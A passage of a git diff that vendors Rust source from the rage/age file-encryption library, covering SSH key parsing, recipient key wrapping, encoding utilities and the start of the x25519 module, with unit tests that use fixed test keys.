line_ending)), + wrapped_str_while_encoded(BASE64_STANDARD), + ), + |(enc_header, privkey)| { + if enc_header.is_some() { + Some(UnsupportedKey::EncryptedPem.into()) + } else { + rsa::RsaPrivateKey::from_pkcs1_der(&privkey) + .ok() + .map(|privkey| { + let mut ssh_key = vec![]; + cookie_factory::gen( + write_ssh::rsa_pubkey(&privkey.to_public_key()), + &mut ssh_key, + ) + .expect("can write into a Vec"); + UnencryptedKey::SshRsa(ssh_key, Box::new(privkey)).into() + }) + } + }, + ), + pair(line_ending, tag("-----END RSA PRIVATE KEY-----")), + ), + )(input) +} + +fn openssh_privkey(input: &str) -> IResult<&str, Identity> { + preceded( + pair(tag("-----BEGIN OPENSSH PRIVATE KEY-----"), line_ending), + terminated( + map_opt(wrapped_str_while_encoded(BASE64_STANDARD), |privkey| { + read_ssh::openssh_privkey(&privkey).ok().map(|(_, key)| key) + }), + pair(line_ending, tag("-----END OPENSSH PRIVATE KEY-----")), + ), + )(input) +} + +pub(crate) fn ssh_identity(input: &str) -> IResult<&str, Identity> { + alt((rsa_privkey, openssh_privkey))(input) +} + +#[cfg(test)] +pub(crate) mod tests { + use age_core::{ + format::FileKey, + secrecy::{ExposeSecret, SecretString}, + }; + use std::io::BufReader; + + use super::{Identity, UnsupportedKey}; + use crate::{ + ssh::recipient::{ + tests::{TEST_SSH_ED25519_PK, TEST_SSH_RSA_PK}, + Recipient, + }, + Callbacks, Identity as _, Recipient as _, + }; + + pub(crate) const TEST_SSH_RSA_SK: &str = "-----BEGIN RSA PRIVATE KEY----- +MIIEogIBAAKCAQEAxO5yF0xjbmkQTfbaCP8DQC7kHnPJr5bdIie6Nzmg9lL6Chye +0vK5iJ+BYkA1Hnf1WnNzoVIm3otZPkwZptertkY95JYFmTiA4IvHeL1yiOTd2AYc +a947EPpM9XPomeM/7U7c99OvuCuOl1YlTFsMsoPY/NiZ+NZjgMvb3XgyH0OXy3mh +qp+SsJU+tRjZGfqM1iv2TZUCJTQnKF8YSVCyLPV67XM1slQQHmtZ5Q6NFhzg3j8a +CY5rDR66UF5+Zn/TvN8bNdKn01I50VLePI0ZnnRcuLXK2t0Bpkk0NymZ3vsF10m9 +HCKVyxr2Y0Ejx4BtYXOK97gaYks73rBi7+/VywIDAQABAoIBADGsf8TWtOH9yGoS +ES9hu90ttsbjqAUNhdv+r18Mv0hC5+UzEPDe3uPScB1rWrrDwXS+WHVhtoI+HhWz +tmi6UArbLvOA0Aq1EPUS7Q7Mop5bNIYwDG09EiMXL+BeC1b91nsygFRW5iULf502 +0pOvB8XjshEdRcFZuqGbSmtTzTjLLxYS/aboBtZLHrH4cRlFMpHWCSuJng8Psahp +SnJbkjL7fHG81dlH+M3qm5EwdDJ1UmNkBfoSfGRs2pupk2cSJaL+SPkvNX+6Xyoy +yvfnbJzKUTcV6rf+0S0P0yrWK3zRK9maPJ1N60lFui9LvFsunCLkSAluGKiMwEjb +fm40F4kCgYEA+QzIeIGMwnaOQdAW4oc7hX5MgRPXJ836iALy56BCkZpZMjZ+VKpk +8P4E1HrEywpgqHMox08hfCTGX3Ph6fFIlS1/mkLojcgkrqmg1IrRvh8vvaZqzaAf +GKEhxxRta9Pvm44E2nUY97iCKzE3Vfh+FIyQLRuc+0COu49Me4HPtBUCgYEAym1T +vNZKPfC/eTMh+MbWMsQArOePdoHQyRC38zeWrLaDFOUVzwzEvCQ0IzSs0PnLWkZ4 +xx60wBg5ZdU4iH4cnOYgjavQrbRFrCmZ1KDUm2+NAMw3avcLQqu41jqzyAlkktUL +fZzyqHIBmKYLqut5GslkGnQVg6hB4psutHhiel8CgYA3yy9WH9/C6QBxqgaWdSlW +fLby69j1p+WKdu6oCXUgXW3CHActPIckniPC3kYcHpUM58+o5wdfYnW2iKWB3XYf +RXQiwP6MVNwy7PmE5Byc9Sui1xdyPX75648/pEnnMDGrraNUtYsEZCd1Oa9l6SeF +vv/Fuzvt5caUKkQ+HxTDCQKBgFhqUiXr7zeIvQkiFVeE+a/ovmbHKXlYkCoSPFZm +VFCR00VAHjt2V0PaCE/MRSNtx61hlIVcWxSAQCnDbNLpSnQZa+SVRCtqzve4n/Eo +YlSV75+GkzoMN4XiXXRs5XOc7qnXlhJCiBac3Segdv4rpZTWm/uV8oOz7TseDtNS +tai/AoGAC0CiIJAzmmXscXNS/stLrL9bb3Yb+VZi9zN7Cb/w7B0IJ35N5UOFmKWA +QIGpMU4gh6p52S1eLttpIf2+39rEDzo8pY6BVmEp3fKN3jWmGS4mJQ31tWefupC+ +fGNu+wyKxPnSU3svsuvrOdwwDKvfqCNyYK878qKAAaBqbGT1NJ8= +-----END RSA PRIVATE KEY-----"; + + /// The same SSH key either unencrypted or encrypted with the passphrase "passphrase". + const TEST_SSH_ED25519_SK_LIST: &[(&str, &str)] = &[ + ( + "none", + "-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW +QyNTUxOQAAACB7Ci6nqZYaVvrjm8+XbzII89TsXzP111AflR7WeorBjQAAAJCfEwtqnxML +agAAAAtzc2gtZWQyNTUxOQAAACB7Ci6nqZYaVvrjm8+XbzII89TsXzP111AflR7WeorBjQ +AAAEADBJvjZT8X6JRJI8xVq/1aU8nMVgOtVnmdwqWwrSlXG3sKLqeplhpW+uObz5dvMgjz +1OxfM/XXUB+VHtZ6isGNAAAADHN0cjRkQGNhcmJvbgE= +-----END OPENSSH PRIVATE KEY-----", + ), + ( + "aes256-cbc", + "-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jYmMAAAAGYmNyeXB0AAAAGAAAABC0OgNmiw +QW/kJ8kCmmTA2TAAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIHsKLqeplhpW+uOb +z5dvMgjz1OxfM/XXUB+VHtZ6isGNAAAAkPhBKsZoNmaeuWYJQxOl+ofEmue/sFJnW+4IOt +oTrS/orMBJ4b/phQcv/ejWYJ4RYYVhSLiI6hf0KwNGefxI90E8iG/yDOKcrxb34tqDEYrY +FARDaJVRd9QtWLEqoP7pgdBR2BTP7aK1y6Mx3eFDgiQI9f/0Sjxd8V0apOPXv4i4kuQ1Nt +LF7kNlDznn/nyZlg== +-----END OPENSSH PRIVATE KEY-----", + ), + ( + "aes128-ctr", + "-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAACmFlczEyOC1jdHIAAAAGYmNyeXB0AAAAGAAAABBub+J2jZ +gyLfNBpxN08TqrAAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIHsKLqeplhpW+uOb +z5dvMgjz1OxfM/XXUB+VHtZ6isGNAAAAkLXOo/xKLiv8ToPkQ9l838+Lps5NAkJ/dnJLt9 +134yXn7q/7DLtsbc6KesgELApQ3Niwirqom+GwDiuNra8/JspF6iz9HZHPjFvdCLQkpQnZ +eB6tzoh6FNmfP2HlQjmJ2w0dNMov4/0PKSAYOnW7kXq0Li/E/Gxju/raMa+pU5guk2B93v +D/wSEe2BjjIuXZ8g== +-----END OPENSSH PRIVATE KEY-----", + ), + ( + "aes192-ctr", + "-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAACmFlczE5Mi1jdHIAAAAGYmNyeXB0AAAAGAAAABCQRxCxO3 +qnd3DPzT+ICJvfAAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIHsKLqeplhpW+uOb +z5dvMgjz1OxfM/XXUB+VHtZ6isGNAAAAkIZMU3zFGbvSR/gvmNd9qiKr+/XCxgE3NOCrWe +dIAveOwKzR4eXNO94TN4FF6iZv5USO1m4Mjbn3jiW4pSB6lnfctOCBWR6QPtssH0ZrmXMW +OeOG1Nmlj2FG8LmfVNNrZ9JnXVrQYNqbvkxShb90DEFJwHWRCpzXIJEUepFJPyUPB+xLAm +QMSqncd3IdGNmcQQ== +-----END OPENSSH PRIVATE KEY-----", + ), + ( + "aes256-ctr", + "-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABBSs0SUhQ +958xWERf6ibyf2AAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIHsKLqeplhpW+uOb +z5dvMgjz1OxfM/XXUB+VHtZ6isGNAAAAkLvH9UsJa+ulewsZT2YtEkme1y9UZKI/vUbTms +LVqWdLprBQIm3IClfGso6IPW7+imkwYRHPKYfBYGYuexzO8b+LRiZU5/lDQmsvZA3asNxp +KjW7kUOJnI8dAeaqJa18P7XkAuzcuZmVoCTurqEOSeb5Ww9Nq0csB0zkF22/PeWy3+BZW5 +hDsL1OfQl4WbakZQ== +-----END OPENSSH PRIVATE KEY-----", + ), + ( + "aes256-gcm@openssh.com", + "-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAAFmFlczI1Ni1nY21Ab3BlbnNzaC5jb20AAAAGYmNyeXB0AA +AAGAAAABCPl8ey+kOWEfNDWjsOW+yeAAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAA +IHsKLqeplhpW+uObz5dvMgjz1OxfM/XXUB+VHtZ6isGNAAAAkHK4lAYpbPto7eVDnl7RM5 +smu3f1Gi/Ov305gASYkCWxL3cvzxTgP2prG7ky4FS5EnFeCoZU4GR49nMjTtJwVJz9vUmQ +csGgRF9XqsdNcNwroWoIeejitFjrQ/n+zVreeMtCWU3gvVSHV97ZhcBVCxCQyPdeaQoUr9 +k38nvmwdar9EY4Mb7LrSqR6oybE/g9Hjg6cxzVcvDQKga6tJVM5oY= +-----END OPENSSH PRIVATE KEY-----", + ), + ]; + pub(crate) const TEST_SSH_ED25519_SK: &str = TEST_SSH_ED25519_SK_LIST[0].1; + + pub(crate) const TEST_SSH_ECDSA_SK: &str = "-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS +1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQQ0odKVFtwOmuCl6RXfwzExGs9dP9a +V9H5xAfETILMd7sLFgqyOxz1FA84EZV0vKdW5c0HPB7/JxQw0vFmNSWeAAAAqGOGFFJjhh +RSAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBDSh0pUW3A6a4KX +pFd/DMTEaz10/1pX0fnEB8RMgsx3uwsWCrI7HPUUDzgRlXS8p1blzQc8Hv8nFDDS8WY1JZ +4AAAAgBQ5LA+stpdk3TYwB/4xhiOaDHzxaacv+u47ciigD8bQAAAAKc3RyNGRAY3ViZQEC +AwQFBg== +-----END OPENSSH PRIVATE KEY-----"; + + #[derive(Clone)] + struct TestPassphrase(&'static str); + + impl Callbacks for TestPassphrase { + fn display_message(&self, _: &str) { + unimplemented!() + } + + fn confirm(&self, _: &str, _: &str, _: Option<&str>) -> Option { + unimplemented!() + } + + fn request_public_string(&self, _: &str) -> Option { + unimplemented!() + } + + fn request_passphrase(&self, _: &str) -> Option { + Some(SecretString::from(self.0.to_owned())) + } + } + + #[test] + fn ssh_rsa_round_trip() { + let buf = BufReader::new(TEST_SSH_RSA_SK.as_bytes()); + let identity = Identity::from_buffer(buf, None).unwrap(); + match &identity { + Identity::Unencrypted(_) => (), + _ => panic!("key should be unencrypted"), + }; + let pk: Recipient = TEST_SSH_RSA_PK.parse().unwrap(); + + let file_key = FileKey::new(Box::new([12; 16])); + + let (wrapped, labels) = pk.wrap_file_key(&file_key).unwrap(); + assert!(labels.is_empty()); + let unwrapped = identity.unwrap_stanzas(&wrapped); + assert_eq!( + unwrapped.unwrap().unwrap().expose_secret(), + file_key.expose_secret() + ); + } + + #[test] + fn ssh_ed25519_round_trip() { + for (kind, sk) in TEST_SSH_ED25519_SK_LIST { + eprintln!("Testing cipher '{}'", kind); + let buf = BufReader::new(sk.as_bytes()); + let identity = Identity::from_buffer(buf, None).unwrap(); + match (*kind, &identity) { + ("none", Identity::Unencrypted(_)) => (), + ("none", _) => panic!("key should be unencrypted"), + (_, Identity::Encrypted(_)) => (), + (_, Identity::Unsupported(_)) => panic!("{} cipher is unsupported", kind), + (_, _) => panic!("key should be encrypted"), + }; + let identity = identity.with_callbacks(TestPassphrase("passphrase")); + let pk: Recipient = TEST_SSH_ED25519_PK.parse().unwrap(); + + let file_key = FileKey::new(Box::new([12; 16])); + + let (wrapped, labels) = pk.wrap_file_key(&file_key).unwrap(); + assert!(labels.is_empty()); + let unwrapped = identity.unwrap_stanzas(&wrapped); + assert_eq!( + unwrapped.unwrap().unwrap().expose_secret(), + file_key.expose_secret() + ); + } + } + + #[test] + fn ssh_unsupported_key_type() { + let buf = BufReader::new(TEST_SSH_ECDSA_SK.as_bytes()); + let identity = Identity::from_buffer(buf, None).unwrap(); + let unsupported = match &identity { + Identity::Unsupported(res) => res, + _ => panic!("key should be unencrypted"), + }; + assert_eq!( + unsupported, + &UnsupportedKey::Type("ecdsa-sha2-nistp256".to_string()), + ); + } +} diff --git a/lib/rage/age/src/ssh/recipient.rs b/lib/rage/age/src/ssh/recipient.rs new file mode 100644 index 0000000..7dfda4e --- /dev/null +++ b/lib/rage/age/src/ssh/recipient.rs @@ -0,0 +1,310 @@ +use std::collections::HashSet; +use std::fmt; + +use age_core::{ + format::{FileKey, Stanza}, + primitives::{aead_encrypt, hkdf}, + secrecy::ExposeSecret, +}; +use base64::{ + prelude::{BASE64_STANDARD, BASE64_STANDARD_NO_PAD}, + Engine, +}; +use curve25519_dalek::edwards::EdwardsPoint; +use nom::{ + branch::alt, + bytes::streaming::{is_not, tag}, + combinator::map_opt, + sequence::{pair, preceded, separated_pair}, + IResult, +}; +use rand::rngs::OsRng; +use rsa::{traits::PublicKeyParts, Oaep}; +use sha2::Sha256; +use x25519_dalek::{EphemeralSecret, PublicKey as X25519PublicKey, StaticSecret}; + +use super::{ + identity::{Identity, UnencryptedKey}, + read_ssh, ssh_tag, EncryptedKey, UnsupportedKey, SSH_ED25519_KEY_PREFIX, + SSH_ED25519_RECIPIENT_KEY_LABEL, SSH_ED25519_RECIPIENT_TAG, SSH_RSA_KEY_PREFIX, + SSH_RSA_OAEP_LABEL, SSH_RSA_RECIPIENT_TAG, +}; +use crate::{ + error::EncryptError, + util::read::{encoded_str, str_while_encoded}, +}; + +/// A key that can be used to encrypt a file to a recipient. +#[derive(Clone, Debug)] +pub enum Recipient { + /// An ssh-rsa public key. + SshRsa(Vec, rsa::RsaPublicKey), + /// An ssh-ed25519 public key. + SshEd25519(Vec, EdwardsPoint), +} + +pub(crate) enum ParsedRecipient { + Supported(Recipient), + RsaModulusTooLarge, + RsaModulusTooSmall, + Unsupported(String), +} + +/// Error conditions when parsing an SSH recipient. +#[derive(Debug, PartialEq, Eq)] +pub enum ParseRecipientKeyError { + /// The string is a parseable value that should be ignored. This case is for handling + /// SSH recipient types that may occur in files we want to be able to parse, but that + /// we do not directly support. + Ignore, + /// The string is not a valid SSH recipient. + Invalid(&'static str), + /// The string is an `ssh-rsa` public key with a modulus larger than we support. + RsaModulusTooLarge, + /// The string is a weak `ssh-rsa` public key with a modulus smaller than 2048 bits. + RsaModulusTooSmall, + /// The string is a parseable value that corresponds to an unsupported SSH key type. + Unsupported(String), +} + +impl std::str::FromStr for Recipient { + type Err = ParseRecipientKeyError; + + /// Parses an SSH recipient from a string. + fn from_str(s: &str) -> Result { + match ssh_recipient(rsa::RsaPublicKey::MAX_SIZE)(s) { + Ok((_, ParsedRecipient::Supported(pk))) => Ok(pk), + Ok((_, ParsedRecipient::RsaModulusTooLarge)) => { + Err(ParseRecipientKeyError::RsaModulusTooLarge) + } + Ok((_, ParsedRecipient::RsaModulusTooSmall)) => { + Err(ParseRecipientKeyError::RsaModulusTooSmall) + } + Ok((_, ParsedRecipient::Unsupported(key_type))) => { + Err(ParseRecipientKeyError::Unsupported(key_type)) + } + _ => Err(ParseRecipientKeyError::Invalid("invalid SSH recipient")), + } + } +} + +impl fmt::Display for Recipient { + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { + match self { + Recipient::SshRsa(ssh_key, _) => { + write!( + f, + "{} {}", + SSH_RSA_KEY_PREFIX, + BASE64_STANDARD.encode(ssh_key) + ) + } + Recipient::SshEd25519(ssh_key, _) => { + write!( + f, + "{} {}", + SSH_ED25519_KEY_PREFIX, + BASE64_STANDARD.encode(ssh_key) + ) + } + } + } +} + +impl TryFrom for Recipient { + type Error = ParseRecipientKeyError; + + fn try_from(identity: Identity) -> Result { + match identity { + Identity::Unencrypted(UnencryptedKey::SshRsa(ssh_key, _)) + | Identity::Unencrypted(UnencryptedKey::SshEd25519(ssh_key, _)) + | Identity::Encrypted(EncryptedKey { ssh_key, .. }) => { + if let Ok((_, pk)) = read_ssh::rsa_pubkey(rsa::RsaPublicKey::MAX_SIZE)(&ssh_key) { + if let Some(pk) = pk { + Ok(Recipient::SshRsa(ssh_key, pk)) + } else { + Err(ParseRecipientKeyError::RsaModulusTooLarge) + } + } else if let Ok((_, pk)) = read_ssh::ed25519_pubkey(&ssh_key) { + Ok(Recipient::SshEd25519(ssh_key, pk)) + } else if let Ok((_, key_type)) = read_ssh::string(&ssh_key) { + Err(ParseRecipientKeyError::Unsupported( + String::from_utf8_lossy(key_type).to_string(), + )) + } else { + Err(ParseRecipientKeyError::Invalid( + "Invalid SSH pubkey in SSH privkey", + )) + } + } + Identity::Unsupported( + UnsupportedKey::Hardware(key_type) | UnsupportedKey::Type(key_type), + ) => Err(ParseRecipientKeyError::Unsupported(key_type)), + Identity::Unsupported(_) => Err(ParseRecipientKeyError::Ignore), + } + } +} + +impl crate::Recipient for Recipient { + fn wrap_file_key( + &self, + file_key: &FileKey, + ) -> Result<(Vec, HashSet), EncryptError> { + let mut rng = OsRng; + + let stanzas = match self { + Recipient::SshRsa(ssh_key, pk) => { + let encrypted_file_key = pk + .encrypt( + &mut rng, + Oaep::new_with_label::(SSH_RSA_OAEP_LABEL), + file_key.expose_secret(), + ) + .expect("pubkey is valid and file key is not too long"); + + let encoded_tag = BASE64_STANDARD_NO_PAD.encode(ssh_tag(ssh_key)); + + vec![Stanza { + tag: SSH_RSA_RECIPIENT_TAG.to_owned(), + args: vec![encoded_tag], + body: encrypted_file_key, + }] + } + Recipient::SshEd25519(ssh_key, ed25519_pk) => { + let pk: X25519PublicKey = ed25519_pk.to_montgomery().to_bytes().into(); + + let esk = EphemeralSecret::random_from_rng(rng); + let epk: X25519PublicKey = (&esk).into(); + + let tweak: StaticSecret = + hkdf(ssh_key, SSH_ED25519_RECIPIENT_KEY_LABEL, &[]).into(); + let shared_secret = + tweak.diffie_hellman(&(*esk.diffie_hellman(&pk).as_bytes()).into()); + + let mut salt = [0; 64]; + salt[..32].copy_from_slice(epk.as_bytes()); + salt[32..].copy_from_slice(pk.as_bytes()); + + let enc_key = hkdf( + &salt, + SSH_ED25519_RECIPIENT_KEY_LABEL, + shared_secret.as_bytes(), + ); + let encrypted_file_key = aead_encrypt(&enc_key, file_key.expose_secret()); + + let encoded_tag = BASE64_STANDARD_NO_PAD.encode(ssh_tag(ssh_key)); + let encoded_epk = BASE64_STANDARD_NO_PAD.encode(epk.as_bytes()); + + vec![Stanza { + tag: SSH_ED25519_RECIPIENT_TAG.to_owned(), + args: vec![encoded_tag, encoded_epk], + body: encrypted_file_key, + }] + } + }; + + Ok((stanzas, HashSet::new())) + } +} + +fn ssh_rsa_pubkey(max_size: usize) -> impl Fn(&str) -> IResult<&str, ParsedRecipient> { + move |input: &str| { + preceded( + pair(tag(SSH_RSA_KEY_PREFIX), tag(" ")), + map_opt( + str_while_encoded(BASE64_STANDARD_NO_PAD), + |ssh_key| match read_ssh::rsa_pubkey(max_size)(&ssh_key) { + Ok((_, Some(pk))) => Some(if pk.n().bits() < 2048 { + ParsedRecipient::RsaModulusTooSmall + } else { + ParsedRecipient::Supported(Recipient::SshRsa(ssh_key, pk)) + }), + Ok((_, None)) => Some(ParsedRecipient::RsaModulusTooLarge), + Err(_) => None, + }, + ), + )(input) + } +} + +fn ssh_ed25519_pubkey(input: &str) -> IResult<&str, ParsedRecipient> { + preceded( + pair(tag(SSH_ED25519_KEY_PREFIX), tag(" ")), + map_opt( + encoded_str(51, BASE64_STANDARD_NO_PAD), + |ssh_key| match read_ssh::ed25519_pubkey(&ssh_key) { + Ok((_, pk)) => Some(ParsedRecipient::Supported(Recipient::SshEd25519( + ssh_key, pk, + ))), + Err(_) => None, + }, + ), + )(input) +} + +fn ssh_ignore_pubkey(input: &str) -> IResult<&str, ParsedRecipient> { + // We rely on the invariant that SSH public keys are always of the form + // `key_type Base64(string(key_type) || ...)` to detect valid pubkeys. + map_opt( + separated_pair( + is_not(" "), + tag(" "), + str_while_encoded(BASE64_STANDARD_NO_PAD), + ), + |(key_type, ssh_key)| { + read_ssh::string_tag(key_type)(&ssh_key) + .map(|_| ParsedRecipient::Unsupported(key_type.to_string())) + .ok() + }, + )(input) +} + +pub(crate) fn ssh_recipient(max_size: usize) -> impl Fn(&str) -> IResult<&str, ParsedRecipient> { + move |input| { + alt(( + ssh_rsa_pubkey(max_size), + ssh_ed25519_pubkey, + ssh_ignore_pubkey, + ))(input) + } +} + +#[cfg(test)] +pub(crate) mod tests { + use super::{ParseRecipientKeyError, Recipient}; + + pub(crate) const TEST_SSH_RSA_PK: &str = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE7nIXTGNuaRBN9toI/wNALuQec8mvlt0iJ7o3OaD2UvoKHJ7S8rmIn4FiQDUed/Vac3OhUibei1k+TBmm16u2Rj3klgWZOIDgi8d4vXKI5N3YBhxr3jsQ+kz1c+iZ4z/tTtz306+4K46XViVMWwyyg9j82Jn41mOAy9vdeDIfQ5fLeaGqn5KwlT61GNkZ+ozWK/ZNlQIlNCcoXxhJULIs9XrtczWyVBAea1nlDo0WHODePxoJjmsNHrpQXn5mf9O83xs10qfTUjnRUt48jRmedFy4tcra3QGmSTQ3KZne+wXXSb0cIpXLGvZjQSPHgG1hc4r3uBpiSzvesGLv79XL alice@rust"; + pub(crate) const TEST_SSH_ED25519_PK: &str = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHsKLqeplhpW+uObz5dvMgjz1OxfM/XXUB+VHtZ6isGN alice@rust"; + const TEST_SSH_UNSUPPORTED_PK: &str = "ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHFliOyIZs1gxGF3fmDxFykQhE88wy6AKDGFBfn0R6ZuvRmENABZQa9+pj9hMki+LX0qDJbmHTiWDbYv/cmFt/Q="; + const TEST_SSH_INVALID_PK: &str = "ecdsa-sha2-nistp256 AAAAC3NzaC1lZDI1NTE5AAAAIHsKLqeplhpW+uObz5dvMgjz1OxfM/XXUB+VHtZ6isGN alice@rust"; + + #[test] + fn ssh_rsa_encoding() { + let pk: Recipient = TEST_SSH_RSA_PK.parse().unwrap(); + assert_eq!(pk.to_string() + " alice@rust", TEST_SSH_RSA_PK); + } + + #[test] + fn ssh_ed25519_encoding() { + let pk: Recipient = TEST_SSH_ED25519_PK.parse().unwrap(); + assert_eq!(pk.to_string() + " alice@rust", TEST_SSH_ED25519_PK); + } + + #[test] + fn ssh_unsupported_key_type() { + let pk: Result = TEST_SSH_UNSUPPORTED_PK.parse(); + assert_eq!( + pk.unwrap_err(), + ParseRecipientKeyError::Unsupported("ecdsa-sha2-nistp256".to_string()), + ); + } + + #[test] + fn ssh_invalid_encoding() { + let pk: Result = TEST_SSH_INVALID_PK.parse(); + assert_eq!( + pk.unwrap_err(), + ParseRecipientKeyError::Invalid("invalid SSH recipient") + ); + } +} diff --git a/lib/rage/age/src/util.rs b/lib/rage/age/src/util.rs new file mode 100644 index 0000000..ed8ec28 --- /dev/null +++ b/lib/rage/age/src/util.rs @@ -0,0 +1,129 @@ +use bech32::{FromBase32, Variant}; + +#[cfg(all(any(feature = "armor", feature = "cli-common"), windows))] +pub(crate) const LINE_ENDING: &str = "\r\n"; +#[cfg(all(any(feature = "armor", feature = "cli-common"), not(windows)))] +pub(crate) const LINE_ENDING: &str = "\n"; + +pub(crate) fn parse_bech32(s: &str) -> Option<(String, Vec)> { + bech32::decode(s).ok().and_then(|(hrp, data, variant)| { + if let Variant::Bech32 = variant { + Vec::from_base32(&data).ok().map(|d| (hrp, d)) + } else { + None + } + }) +} + +pub(crate) mod read { + use std::str::FromStr; + + use base64::{prelude::BASE64_STANDARD_NO_PAD, Engine}; + use nom::{character::complete::digit1, combinator::verify, ParseTo}; + + #[cfg(feature = "ssh")] + use nom::{ + combinator::map_res, + error::{make_error, ErrorKind}, + multi::separated_list1, + IResult, + }; + + #[cfg(feature = "ssh")] + #[cfg_attr(docsrs, doc(cfg(feature = "ssh")))] + pub(crate) fn encoded_str( + count: usize, + engine: impl base64::Engine, + ) -> impl Fn(&str) -> IResult<&str, Vec> { + use nom::bytes::streaming::take; + + // Unpadded encoded length + let encoded_count = ((4 * count) + 2) / 3; + + move |input: &str| { + let (i, data) = take(encoded_count)(input)?; + match engine.decode(data) { + Ok(decoded) => Ok((i, decoded)), + Err(_) => Err(nom::Err::Failure(make_error(input, ErrorKind::Eof))), + } + } + } + + #[cfg(feature = "ssh")] + #[cfg_attr(docsrs, doc(cfg(feature = "ssh")))] + pub(crate) fn str_while_encoded( + engine: impl base64::Engine, + ) -> impl Fn(&str) -> IResult<&str, Vec> { + use nom::bytes::complete::take_while1; + + move |input: &str| { + map_res( + take_while1(|c| { + let c = c as u8; + // Substitute the character in twice after AA, so that padding + // characters will also be detected as a valid if allowed. + engine.decode_slice([65, 65, c, c], &mut [0, 0, 0]).is_ok() + }), + |data| engine.decode(data), + )(input) + } + } + + #[cfg(feature = "ssh")] + #[cfg_attr(docsrs, doc(cfg(feature = "ssh")))] + pub(crate) fn wrapped_str_while_encoded( + engine: impl Engine, + ) -> impl Fn(&str) -> IResult<&str, Vec> { + use nom::{bytes::streaming::take_while1, character::streaming::line_ending}; + + move |input: &str| { + map_res( + separated_list1( + line_ending, + take_while1(|c| { + let c = c as u8; + // Substitute the character in twice after AA, so that padding + // characters will also be detected as a valid if allowed. + engine.decode_slice([65, 65, c, c], &mut [0, 0, 0]).is_ok() + }), + ), + |chunks| { + let data = chunks.join(""); + engine.decode(&data) + }, + )(input) + } + } + + pub(crate) fn base64_arg, const N: usize, const B: usize>( + arg: &A, + ) -> Option<[u8; N]> { + if N > B { + return None; + } + + let mut buf = [0; B]; + match BASE64_STANDARD_NO_PAD.decode_slice(arg, buf.as_mut()) { + Ok(n) if n == N => Some(buf[..N].try_into().unwrap()), + _ => None, + } + } + + /// Parses a decimal number composed only of digits with no leading zeros. + pub(crate) fn decimal_digit_arg(arg: &str) -> Option { + verify::<_, _, _, (), _, _>(digit1, |n: &str| !n.starts_with('0'))(arg) + .ok() + .and_then(|(_, n)| n.parse_to()) + } +} + +pub(crate) mod write { + use base64::{prelude::BASE64_STANDARD_NO_PAD, Engine}; + use cookie_factory::{combinator::string, SerializeFn}; + use std::io::Write; + + pub(crate) fn encoded_data(data: &[u8]) -> impl SerializeFn { + let encoded = BASE64_STANDARD_NO_PAD.encode(data); + string(encoded) + } +} diff --git a/lib/rage/age/src/x25519.rs b/lib/rage/age/src/x25519.rs new file mode 100644 index 0000000..98edb15 --- /dev/null +++ b/lib/rage/age/src/x25519.rs @@ -0,0 +1,291 @@ +//! The "x25519" recipient type, native to age. + +use std::collections::HashSet; +use std::fmt; + +use age_core::{ + format::{FileKey, Stanza, FILE_KEY_BYTES}, + primitives::{aead_decrypt, aead_encrypt, hkdf}, + secrecy::{ExposeSecret, SecretString}, +}; +use base64::{prelude::BASE64_STANDARD_NO_PAD, Engine}; +use bech32::{ToBase32, Variant}; +use rand::rngs::OsRng; +use subtle::ConstantTimeEq; +use x25519_dalek::{EphemeralSecret, PublicKey, StaticSecret}; +use zeroize::Zeroize; + +use crate::{ + error::{DecryptError, EncryptError}, + util::{parse_bech32, read::base64_arg}, +}; + +// Use lower-case HRP to avoid https://github.com/rust-bitcoin/rust-bech32/issues/40 +const SECRET_KEY_PREFIX: &str = "age-secret-key-"; +const PUBLIC_KEY_PREFIX: &str = "age"; + +pub(super) const X25519_RECIPIENT_TAG: &str = "X25519"; +const X25519_RECIPIENT_KEY_LABEL: &[u8] = b"age-encryption.org/v1/X25519"; + +pub(super) const EPK_LEN_BYTES: usize = 32; +pub(super) const ENCRYPTED_FILE_KEY_BYTES: usize = FILE_KEY_BYTES + 16; + +/// The standard age identity type, which can decrypt files encrypted to the corresponding +/// [`Recipient`]. +#[derive(Clone)] +pub struct Identity(StaticSecret); + +impl std::str::FromStr for Identity { + type Err = &'static str; + + /// Parses an X25519 identity from a string. + fn from_str(s: &str) -> Result { + parse_bech32(s) + .ok_or("invalid Bech32 encoding") + .and_then(|(hrp, bytes)| { + if hrp == SECRET_KEY_PREFIX { + TryInto::<[u8; 32]>::try_into(&bytes[..]) + .map_err(|_| "incorrect identity length") + .map(StaticSecret::from) + .map(Identity) + } else { + Err("incorrect HRP") + } + }) + } +} + +impl Identity { + /// Generates a new secret key. + pub fn generate() -> Self { + let rng = OsRng; + Identity(StaticSecret::random_from_rng(rng)) + } + + /// Serializes this secret key as a string. + pub fn to_string(&self) -> SecretString { + let mut sk_bytes = self.0.to_bytes(); + let sk_base32 = sk_bytes.to_base32(); + let mut encoded = + bech32::encode(SECRET_KEY_PREFIX, sk_base32, 